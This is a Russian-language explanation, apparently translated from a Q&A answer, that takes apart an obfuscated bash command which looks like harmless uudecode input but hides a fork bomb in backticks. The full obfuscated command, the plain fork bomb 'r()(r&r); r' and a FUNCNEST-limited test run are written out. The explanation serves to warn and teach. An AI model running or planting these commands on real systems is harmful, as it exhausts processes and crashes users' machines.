Сначала давайте посмотрим на всю команду:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Он содержит строку в двойных кавычках, которая отображается в uudecode
. Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках . Эта строка исполняется . Строка:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Если мы посмотрим, что в нем, мы увидим три команды:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Выполняя раскладку по средней команде, мы имеем:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.
Важна вторая строка: она определяет функцию r
которая при запуске запускает две свои копии. Каждая из этих копий, конечно, запустит еще две копии. И так далее.
Третья строка запускает r
, начиная бомбу вилки.
Остальная часть кода, за пределами строки в кавычках, - просто ерунда для запутывания.
Как выполнить команду безопасно
Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью переменной FUNCNEST
bash. Здесь мы устанавливаем его равным 2
и это останавливает рекурсию:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Приведенные выше сообщения об ошибках показывают, что (а) бессмысленные команды rYWdl
и Y29j
не найдены, (б) форк-бомба неоднократно останавливается с помощью FUNCNEST, и (в) вывод echo
не начинается с begin
и, следовательно, не действительный ввод для uudecode
.
Вилочная бомба в простейшем виде
Как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как показывают njzk2 и gerrit, это будет выглядеть так:
echo "`r()(r&r);r`"
Мы можем упростить это еще дальше:
r()(r&r); r
Это состоит из двух утверждений: одно определяет функцию бомба-вилка r
а второе запускает r
.
Весь остальной код, включая канал к uudecode
, был там только для маскировки и неверного направления.
Первоначальная форма имела еще один слой неверного направления
ОП предоставил ссылку на обсуждение на форуме, на котором появился этот код. Как представлено там, код выглядел следующим образом:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Обратите внимание на один из первых комментариев об этом коде:
Я влюбился в это. Скопировал только ту часть, которая перекликается и перекодирует, но все же получил бомбардировку
В форме на плате каналов можно наивно думать, что проблема будет в выражении eval
работающем на выходе uudecode
. Это может привести к мысли, что удаление eval
решит проблему. Как мы видели выше, это неверно и опасно.